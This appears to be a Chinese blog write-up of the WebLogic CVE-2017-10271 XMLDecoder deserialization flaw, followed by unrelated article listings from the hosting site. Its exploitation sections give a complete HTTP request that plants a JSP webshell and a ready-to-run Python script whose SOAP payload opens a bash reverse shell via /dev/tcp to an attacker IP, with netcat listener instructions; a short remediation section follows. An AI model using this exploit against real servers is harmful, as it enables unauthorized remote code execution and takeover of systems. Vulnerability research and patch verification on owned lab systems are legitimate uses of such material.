weblogic 反序列化 [CVE-2017-10271]

一、漏洞描述

这个漏洞是wls-wsat这个接口出了问题,Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。


二、影响版本

  • 10.3.6.0
  • 12.1.3.0.0
  • 12.2.1.1.0

三、影响组件

 Weblogic的WLS Security组件


四、漏洞判断

环境搭建

打开web services组件 

 漏洞验证

拿大佬的webshell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.116.144:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 646

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println">
<string>
    <![CDATA[
<% out.print("webshell"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

打开burpsuite传入 

 任意代码执行

 


五、漏洞利用

大佬的poc

import requests  # 导入 requests 库用于发送 HTTP 请求
import argparse  # 导入 argparse 库用于解析命令行参数

if __name__ == '__main__':
    # 创建命令行参数解析器
    parse = argparse.ArgumentParser()
    # 添加目标 URL 参数
    parse.add_argument("url", type=str)
    # 添加用于反向 shell 连接的 IP 地址参数,该参数是必需的
    parse.add_argument("-s", "--shellIp", type=str, required=True)
    # 添加用于反向 shell 连接的端口号参数,该参数是必需的
    parse.add_argument("-p", "--port", type=str, required=True)

    # 解析命令行参数
    arguments = parse.parse_args()
    # 获取目标 URL
    url = arguments.url
    # 获取用于反向 shell 连接的 IP 地址
    shellIp = arguments.shellIp
    # 获取用于反向 shell 连接的端口号
    dPort = arguments.port

    # 创建一个会话对象
    req = requests.session()
    # 设置代理,这里使用了本地的代理地址
    req.proxies = {'http': "http://127.0.0.1:8080", 'https': "http://127.0.0.1:8080"}

    # 构造 HTTP 请求头部
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
        "Accept-Encoding": "gzip",
        "Connection": "close",
        "Content-Type": "text/xml",
        "Content-Length": "599"
    }

    # 构造 SOAP 消息的 payload
    payload = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> <soapenv:Header>" \
              "<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">" \
              "<java version=\"1.4.0\" class=\"java.beans.XMLDecoder\">" \
              "<void class=\"java.lang.ProcessBuilder\">" \
              "<array class=\"java.lang.String\" length=\"3\">" \
              "<void index=\"0\">" \
              "<string>/bin/bash</string>" \
              "</void><void index=\"1\">" \
              "<string>-c</string>" \
              "</void><void index=\"2\">" \
              "<string>bash -i &gt;&amp; /dev/tcp/" + shellIp + "/" + dPort + " 0&gt;&amp;1</string>" \
                                                                              "</void>" \
                                                                              "</array>" \
                                                                              "<void method=\"start\"/></void>" \
                                                                              "</java>" \
                                                                              "</work:WorkContext>" \
                                                                              "</soapenv:Header>" \
                                                                              "<soapenv:Body/>" \
                                                                              "</soapenv:Envelope>"

    # 发送 HTTP POST 请求,尝试利用漏洞执行远程命令执行攻击
    resq = req.post(url + "/wls-wsat/CoordinatorPortType", headers=headers, data=payload)
    # 如果返回状态码为 500,表示攻击成功
    if resq.status_code == 500:
        print("poc发送成功")
        print("请查看shell客户端")
    else:
        print("poc发送失败")
 # python CVE-2017-10271.py http://192.168.116.144:7001 -s 192.168.116.151 -p 4444

攻击机打开 nc -l -p 4444监听

运行poc 

这篇文章有反推的原理 WebLogic XMLDecoder反序列化漏洞 | 像风 (wxylyw.com)


六、漏洞修复

WebLogic没有对XML的数据进行任何的过滤,导致可以构造XML数据,反序列化任意对象,从而RCE,这也就是CVE-2017-3506产生的原因。

1、官方补丁修复

2、临时解决方案
 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。
根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面

                        
参考 https://blog.csdn.net/yumengzth/article/details/97522783

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/622174.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Unity从零开始学习制作手机游戏】第01节:控制3D胶囊体运动

1. 新建Project L01 使用3D Mobile模板。 2. 建立一个平面&#xff0c;用来承载物体 3. 导入Unity库内的胶囊体 下载 StandardAssets https://download.unitychina.cn/download_unity/e80cc3114ac1/WindowsStandardAssetsInstaller/UnityStandardAssetsSetup-5.6.7f1.exe …

Abaqus显示单元面的编号

注意&#xff1a;这里为了显示单元的面编号&#xff0c;而不是‘Part’的面。对于六面体单元有六个面&#xff0c;编号从1-6&#xff0c;对于四面体单元有四个面&#xff0c;编号从1-4。 1、要显示单元面的编号首先要进入‘Visualization’模块&#xff0c;如下图&#xff1a;…

Jmeter 性能-阶梯负载最终请求数

1、设置阶梯加压线程组请求参数 说明&#xff1a; 每隔2秒钟&#xff0c;会在1秒内启动5个线程 每次线程加载之后都会运行2s然后开始下一次线程加载 最终会加载50个线程并持续运行30s 50个线程持续运行30s后&#xff0c;会每隔2秒钟停止5个线程&#xff0c;剩余的线程继续负…

数据结构与算法-排序算法1-冒泡排序

本文先介绍排序算法&#xff0c;然后具体写冒泡排序。 目录 1.排序算法简介 2.常见的排序算法分类如下图&#xff1a; 3.冒泡排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结冒泡排序规则 5.冒泡排序代码 6.优化 7.优化后时间 代码&#xff1a; 运…

数据库系统概论(个人笔记)(第一部分)

数据库系统概论&#xff08;个人笔记&#xff09; 文章目录 数据库系统概论&#xff08;个人笔记&#xff09;1、介绍1.1 数据库系统应用1.2 数据库系统的历史1.3 数据库系统的目标**大学数据库例子**1.4 数据视图1.5 数据库语言1.6 数据库设计1.7 数据库引擎1.8 数据库体系结构…

2023年上半年信息系统项目管理师——综合知识真题与答案解释(4)

2023年上半年信息系统项目管理师 ——综合知识真题与答案解释(4) 61、文档的规范化管理主要体现在&#xff08;&#xff09;方面。 ①文档书写规范 ②文档质量级别 ③图表编号规则 ④文档目录编写标准 ⑤文档管理制度 ⑥文档安全标准 A&#xff0e;①②③④ B&#xff0e;②③…

MySQL_DDL语句

1.Data类临时数据的弊端 我们之前在将ServletJSP配合处理请求的过程中 数据库起到一个存取数据的作用 但是我们之前的案例中 数据是在Data类中临时定义的 并不是从数据库中获取的 这样做是不好的 因为每一次服务器关闭之后 那么部署在其上的类也会随着卸载 紧接着和类相挂钩的静…

ms17-010(永恒之蓝)

1.漏洞介绍: 永恒之蓝&#xff08;ms17-010&#xff09;爆发于2017年4月14日晚&#xff0c;是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限&#xff0c;以此来控制被入侵的计算机。甚至于2017年5月12日&#xff0c; 不法分子通过改造“永恒之蓝”制作了wannacry勒索病…

计算机网络(第八版 谢希仁 编著) 期末复习大纲

一.每章总结 第一章&#xff1a;分组交换&#xff0c;计网定义、范围划分&#xff0c;性能指标&#xff0c;五层体系结构&#xff0c;TCP/IP体系结构 第二章&#xff1a;物理层&#xff0c;码元&#xff0c;基带调制(数字信号->数字信号&#xff0c;也叫编码)&#xff0c;带…

SSE介绍(实现流式响应)

写在前面 本文一起来看下SSE相关内容。 1&#xff1a;SSE是什么 全称&#xff0c;server-send events&#xff0c;基于http协议&#xff0c;一次http请求&#xff0c;server端可以分批推送数据&#xff0c; 不同于websocket的全双工通信&#xff0c;SSM单向通信,一般应用于需…

softmax函数与交叉熵损失详解

文章目录 一、softmax函数1.1 引入指数形式的优点1.2 引入指数形式的缺点 二、交叉熵损失函数2.1 交叉熵损失函数2.2 softmax与交叉熵损失 参考资料 一、softmax函数 softmax用于多分类过程中&#xff0c;它将多个神经元的输出&#xff0c;映射到&#xff08;0,1&#xff09;区…

simulink-仿真以及PID参数整定/PID tuner 的使用流程

控制器搭建与参数整定 搭建一个前馈PID控制器控制系统PID tuner使用 一个懂点控制但不多的小白&#xff0c;因为需要利用simulink仿真&#xff0c;所以不得不学习一些仿真的知识&#xff0c;这篇文章适合和我一样的新手入门&#xff0c;有理解错误的地方希望大手们能够指出来共…

背完这些软件测试核心面试题,offer轻松拿捏了!

你赞同过 软件测试和开发 相关内容 01、您所熟悉的测试用例设计方法都有哪些&#xff1f;请分别以具体的例子来说明这些方法在测试用例设计工作中的应用。 答&#xff1a;有黑盒和白盒两种测试种类&#xff0c;黑盒有等价类划分法&#xff0c;边界分析法&#xff0c;因果图法和…

spacy微调BERT-NER模型

数据准备 加载数据集 from tqdm.notebook import tqdm import osdataset [] with open(train_file, r) as file:for line in tqdm(file.readlines()):data json.loads(line.strip())dataset.append(data)你可以按照 CLUENER 的格式准备训练数据&#xff0c; 例如&#xff1…

彻底搞定找不到msvcp100.dll,无法继续执行代码的问题

当您在使用电脑过程中遇到程序运行异常&#xff0c;提示“缺失msvcp100.dll文件”时&#xff0c;不必过于焦虑&#xff0c;此问题可通过一系列简单步骤得到有效解决。MSVCP100.dll是Microsoft Visual C库的一部分&#xff0c;主要用于支持某些应用程序运行所需的特定功能。如果…

ohmyzsh的安装过程中失败拒绝连接问题的解决

1.打开官网Oh My Zsh - a delightful & open source framework for Zsh 在官网能看到下面的界面 有这两种自动安装的方式 个人本次选择的是: wget https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O - 1.打开终端输入安装的指令 sh -c "$(wget…

(done) 什么是马尔可夫链?Markov Chain

参考视频&#xff1a;https://www.bilibili.com/video/BV1ko4y1P7Zv/?spm_id_from333.337.search-card.all.click&vd_source7a1a0bc74158c6993c7355c5490fc600 如下图所示&#xff0c;马尔可夫链条实际上就是 “状态机”&#xff0c;只不过状态机里不同状态之间的边上是 “…

向银行家应用程序添加日期

● 首先我们将下面图片上的时间更换成现在的时间 const now new Date(); const day now.getDate(); const month now.getMonth() 1; const year now.getFullYear(); const hour now.getHours(); const min now.getMinutes();labelDate.textContent ${day}/${month}/$…

数据降维-主成分分析PCA

1.背景&#xff1a; 在以前计算能力还很弱的年代&#xff0c;我们要分析经济数据是一件很困难的事情&#xff0c;所以我们需要对指标特征进行降维&#xff1b; 2.数据降维的意义&#xff1a; 一般我们降维的特征数据彼此之间是存在一定的相关性的&#xff0c; 二维降至一维…

车载电子电器架构 —— Vector对于车载以太网的解决方案(协议栈)

车载电子电器架构 —— Vector对于车载以太网的解决方案(协议栈) 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你…